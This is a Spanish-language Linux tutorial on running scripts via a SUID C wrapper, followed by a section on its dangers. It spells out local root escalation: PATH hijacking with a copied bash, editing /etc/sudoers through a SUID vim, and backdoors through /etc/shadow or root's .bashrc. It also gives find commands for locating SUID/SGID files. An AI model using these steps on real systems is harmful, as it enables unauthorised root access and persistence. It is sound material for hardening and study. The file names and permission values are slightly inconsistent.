Como ejecutar scripts con el bit SUID activado

Recopilación de aplicaciones que pueden explotar el bit suid o sudo: https://gtfobins.github.io/

Por defecto la inmensa mayoría de distribuciones no permiten la ejecución de scripts con el bit SUID activado por motivos de seguridad. La solución es crear un ejecutable en C con SUID activado y que este llame o ejecute al script necesario. También se podría hacer con el SGID.

#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <unistd.h>
 
int main()
{
   setuid( 0 );
   system( "/opt/aplicacion/script.sh" );
 
   return 0;
}

Compilando el código C.

gcc runscript.c -o runscript

Dando permisos rwx + SUID (4775)

chown root:root execscript
chmod 4755 execscript

Al ejecutar el programa se ejecutará como root el script especificado en el código.

Otra alternativa sería utilizar shc: Generic shell script compiler

Problema de seguridad a ejecutar scripts con el bit SUID activado

Si el script se sustituye por uno que ejecute /bin/bash, se estaría haciendo un escalado de privilegios y se obtendría una shell Bash como usuario root.

Supongamos que no se ejecuta un script, si no un binario / comando, pero no indicando la ruta completa dentro de la función “system”, por ejemplo el comando “ls”.

system( "ls" );

Al no indicar una ruta completa, se nos permite poder escalar privilegios al poder modificar la ruta sin necesitar privilegios sobre “runscript” o el binario “/bin/ls”. Para ello usaremos la variable PATH, esto sería suficiente para obtener root en el sistema.

cp /bin/bash $HOME/ls
# Se podría usar un enlace, un script que apunte a bash
export PATH=$HOME:$PATH

Ahora al ejecutar “runscript”, Linux buscará el comando ls, como se ha indicado en la variable PATH que se debe buscar “ls” primeramente en /home, se ejecutará $HOME/ls con el suid 0, recibiendo así una consola de root.

Como recomendación se debe evitar el uso del suid, hay aplicaciones que son más agradecidas a la hora de permitir la escalada de privilegios, veamos algunos ejemplos.

SUID en vim.basic.

ls -lt /usr/bin/vim
lrwxrwxrwx 1 root root 21 Feb  2 15:45 /usr/bin/vim -> /etc/alternatives/vim
ls -lt /etc/alternatives/vim
lrwxrwxrwx 1 root root 18 Feb  2 15:45 /etc/alternatives/vim -> /usr/bin/vim.basic
ls -lt /usr/bin/vim.basic
-rwsr-xr-x 1 root root 2437320 Nov 24  2016 /usr/bin/vim.basic   # Tiene el SUID activo

Ahora se podría abrir /etc/sudoers y adaptar nuestro usuario para que tenga el máximo privilegio.

usuario    ALL=(ALL:ALL) ALL

También se podría modificar la password del usuario root en “/etc/shadow”, agregar un comando “adduser usuario sudo” dentro del .bashrc de root para que cuando el admin ingrese nos incluya en el grupo de sudo, etc.

Buscar ficheros con SUID o GUID activado.

# Busca ficheros con root como propietario con SUID activado.
find / -user root -perm -4000
 
# Busca ficheros con root como propietario con SGID activado.
find / -group root -perm -2000
 
# Busca ficheros de cualquier usuario con SUID y SGID activos.
find / -perm -4000 -o -perm -2000
 
# Busca ficheros que no pertenecen a ningún usuario.
find / -nouser
 
# Busca ficheros que no pertenecen a ningún grupo.
find / -nogroup
 
# Busca enlaces simbólicos y muestra a donde apuntan.
find / -type l -ls

Lectura recomendada: http://www.faqs.org/faqs/unix-faq/faq/part4/section-7.html